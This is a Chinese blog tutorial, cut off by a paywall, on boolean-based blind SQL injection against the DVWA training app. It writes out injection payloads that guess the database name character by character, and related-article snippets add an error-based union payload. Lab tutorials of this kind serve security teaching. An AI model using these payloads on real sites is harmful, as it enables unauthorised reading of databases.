基于dvwa的sql盲注(Blind)-低中高

最新推荐文章于 2024-05-09 14:44:42 发布
最新推荐文章于 2024-05-09 14:44:42 发布
阅读量2.6k 收藏 19
点赞数 4
文章标签： sql盲注 dvwa
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43870289/article/details/103085280
版权
本文详细介绍了如何在DVWA中进行SQL盲注，从低、中、高三个级别逐步讲解。通过布尔盲注和时间盲注技术，包括猜测数据库名、表名、列名及数据，展示了SQL注入的过程和技巧。
摘要由CSDN通过智能技术生成

目录

sql盲注和sql注入的区别

		盲注：目标只会回复是或不是，没有详细内容
		注入：可以查看到详细内容
	盲注分为：布尔盲注、时间盲注

sql盲注过程

		1、判断是否存在注入，注入是字符型还是数字型
		2、猜解当前数据库名（猜解数据库长度->猜数据库名称）
		3、猜解数据库中的表名(猜表的数量->猜表的长度->猜表的名称)
		4、猜解表中的列(猜列的数量->猜列的长度->猜列的名称)
		5、猜解数据

dvwa-SQL Injection (Blind) low级别

下面分别用布尔盲注、时间盲注进行注入

布尔盲注

猜数据库长度：
输入1’ and length(database())=1# 显示 MISSING 说明数据库长度不为1
在这里插入图片描述
输入1’ and length(database())=4# 显示 exists 说明数据库长度为4
在这里插入图片描述
猜数据库名：
输入1’ and ascii(substr(database(),1,1))>97# 显示 exists 说明数据库的第一个字母的ASCII值>97
ascii()函数是将字母转换为ASCII值
在这里插入图片描述
附加：放一张substr()函数的解释
在这里插入图片描述
可以用二分法去猜ASCII值

输入1’ and ascii(substr(database(),1,1))>100#显示MISSING说明第一个字母的ASCII不大于100
在这里插入图片描述
输入1’ and ascii(substr(database(),1,1))<100#也显示MISSING说明第一个字母的ASCII也不小于100，那就是等于100
在这里插入图片描述
输入1’ and ascii(substr(database(),1,1))=100#，显示exists，说明第一个字母就是 d
盲注全靠猜，后三个字母可以自己尝试去猜，步骤如上
最后猜到数据库名为dvwa

猜表的数量：
输入1’and (select count(table_name)from information_schema.tables where table_schema&

最低0.47元/天 解锁文章
滕财然
关注
  • 4
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【DVWA】--- 八、sql盲注(SQL Injection Blind)
qq_43168364的博客
05-31 665
SQL Injection Blind 目录 一、low级别 二、Medium级别 三、High级别 四、Impossible级别 五、预防方法 一、low级别 注入点在输入框中，当输入正确时回显如下图 输入错误时的回显 根据回显不同进行布尔盲注，接下来判断注入类型 这里是字符型注入点字符型注入点 判断库名长度，命令：1' and length(database())=4 # 判断库名，命令：1’ and ascii(substr(database(),x,1))=100 #让x的值递增可以遍
DVWA-SQL盲注脚本（全）
10-04
DVWA SQL盲注，Low，Medium，High 三个级别的bool盲注脚本，比较完整，配套解释 ： https://blog.csdn.net/csdn_Pade/article/details/82886765
网络安全-靶机dvwa之sql注入Low到High详解（含代码分析）_dvwa sql注入低中高代码分析(1)
2401_84253132的博客
04-29 942
这样的话估计不能使用Error注入。结论：字段为2。
网络安全-靶机dvwa之sql注入Low到High详解（含代码分析）_dvwa sql注入低中高代码分析(5)
2401_84264630的博客
05-09 387
这样的话估计不能使用Error注入。结论：字段为2。
DVWA------SQL Injection (Blind)（SQL盲注）
m0_65712192的博客
12-09 2777
DVWA------SQL Injection (Blind)（SQL盲注）
DVWA—sql注入-盲注SQL Injection (Blind)
qq_54537919的博客
06-25 1387
DVWA—sql注入-盲注SQL Injection (Blind)
DVWA靶场-SQL Injection (Blind)SQL注入盲注
mlws1900的博客
03-19 1450
直接使用报错：' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。length：正整数，指定将从左边返回的字符数。
web安全学习之基于dvwa的SQL Injection (Blind)盲注--思路篇
weixin_41657031的博客
07-13 374
1.什么是盲注？ 盲注的本质是猜解,所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断。 SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲...
DVWA 之 SQL Injection Blind（SQL盲注）
RexHa的博客
10-04 2295
DVWA sql盲注
DVWA通关--SQL盲注(SQL Injection(Blind))
箭雨镜屋
07-11 2398
LOW 通关步骤 代码分析 MEDIUM 通关步骤 代码分析 HIGH 通关步骤 代码分析 IMPOSSIBLE 代码分析
适合DVWA和SQL-li-lab的PHPStudy、DVWA、SQL-li-labs
03-26
在实际操作中，你可以通过PHPStudy建立环境，然后部署DVWA和SQL-li-labs，逐一攻破每一个安全挑战，这将有助于提升对Web安全的意识和应对能力。 总结一下，这个压缩包提供了一套完整的Web安全学习和实践环境，包括...
DVWA靶场环境---新手入坑
10-28
DVWA靶场环境---新手学习web安全的必备靶场之一，DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
2020-12-06-DVWA之sql.md
01-24
### DVWA之SQL Injection知识点详解 #### 一、SQL Injection概念 SQL Injection（SQL注入）是一种常见的Web应用程序安全漏洞，攻击者通过将恶意SQL代码插入应用程序的输入字段中，从而改变原有SQL语句的逻辑，进而...
DVWA靶场环境搭建-dvwa.rar
10-15
DVWA靶场环境文件
DVWA——SQL盲注（全等级）
@一只躺平的猪@的博客
07-13 5552
SQL盲注与一般注入的区别在于：一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知。一般有两种方式：布尔型和时间型。还有一种是报错注入，本章主要介绍布尔盲注。布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行时间型则是根据页面加载时间是否变化来判断的。SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（
pillow_heif-0.17.0-pp39-pypy39_pp73-macosx_14_0_arm64.whl
07-27
基本介绍 名称与起源：Pillow，原名为PIL（Python Imaging Library），但PIL只支持Python 2版本。随着Python 3的普及，Pillow作为PIL的一个分支出现，兼容Python 3并提供更多的功能和改进。 主要功能：Pillow支持多种图像格式的打开、保存、显示以及基本的图像操作和处理，如裁剪、缩放、旋转、翻转、滤镜应用等。 跨平台性：Pillow库可以在不同的操作系统上运行，包括Windows、Linux和MacOS等。 主要功能模块 Pillow库包含多个功能模块，每个模块都提供了特定的图像处理功能。以下是一些常用的模块： Image：用于处理图像文件，提供打开、保存、调整大小、旋转、裁剪、滤镜等功能。 ImageDraw：提供在图像上绘制各种形状（如线条、矩形、圆形）和文本的功能。 ImageFont：用于加载和使用TrueType字体文件，以便在图像上绘制文本时设置字体样式、大小和颜色。 ImageFilter：提供各种滤镜效果，如模糊、锐化、边缘增强等，用于图像增强、特效处理和图像识别等应用。 ImageEnhance：用于调整图像的亮度、对比度、颜色饱和度等参数，使图像更加清晰、明亮或具有特定的调色效果。 高级功能 除了基本的图像处理功能外，Pillow还支持一些高级功能，如色彩空间转换、直方图均衡化等。这些功能可以帮助用户进行更复杂的图像处理和分析。
cykooz.resizer-3.0.0-cp310-cp310-macosx_11_0_arm64.whl
07-27
python库，可以直接安装使用，再也不怕自己pip下载，出现等待超时的现象。欢迎下载使用，使用过程中如有使用问题，请及时与我沟通交流，帮你解决！ python库，可以直接安装使用，再也不怕自己pip下载，出现等待超时的现象。欢迎下载使用，使用过程中如有使用问题，请及时与我沟通交流，帮你解决！ python库，可以直接安装使用，再也不怕自己pip下载，出现等待超时的现象。欢迎下载使用，使用过程中如有使用问题，请及时与我沟通交流，帮你解决！ python库，可以直接安装使用，再也不怕自己pip下载，出现等待超时的现象。欢迎下载使用，使用过程中如有使用问题，请及时与我沟通交流，帮你解决！ python库，可以直接安装使用，再也不怕自己pip下载，出现等待超时的现象。欢迎下载使用，使用过程中如有使用问题，请及时与我沟通交流，帮你解决！
[毕设]Delphi题库管理与试卷自动生成系统.zip
最新发布
07-27
[毕设]Delphi题库管理与试卷自动生成系统
dvwa sql盲注高级
08-11
DVWA（Damn Vulnerable Web Application）是一个用于练习 Web 安全技术的漏洞应用程序。其中包含了多个不同类型的漏洞，包括 SQL 盲注。 SQL 盲注是一种利用 Web 应用程序中存在的 SQL 注入漏洞来获取数据库信息的攻击技术。在 DVWA 中，你可以通过以下步骤进行 SQL 盲注的高级练习： 1. 登录 DVWA：在浏览器中访问 DVWA，并使用提供的用户名和密码登录。 2. 寻找 SQL 注入点：在 DVWA 中，你需要找到存在 SQL 注入漏洞的输入点。这可以是登录表单、搜索框或其他用户输入的地方。 3. 确定数据库和表名：使用不正确的输入来尝试触发错误，并尝试从错误消息中获取有关数据库和表名的信息。这可以帮助你构建有效的注入语句。 4. 构造注入语句：根据你获取到的数据库和表名信息，构造有效的注入语句。在高级盲注中，你可能需要使用一些技巧来绕过过滤和限制。 5. 判断注入结果：通过观察应用程序的响应，判断你的注入语句是否成功执行。你可以观察页面内容、错误消息或应用程序的行为变化。 6. 提取数据：如果注入成功执行，你可以使用 UNION SELECT 或其他技术来提取数据库中的数据。通过逐渐调整注入语句，你可以获取更多敏感信息。 请注意，在进行 DVWA 或任何其他漏洞练习时，遵守法律和道德规范。仅在授权的环境中进行测试，不要攻击未经授权的系统。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值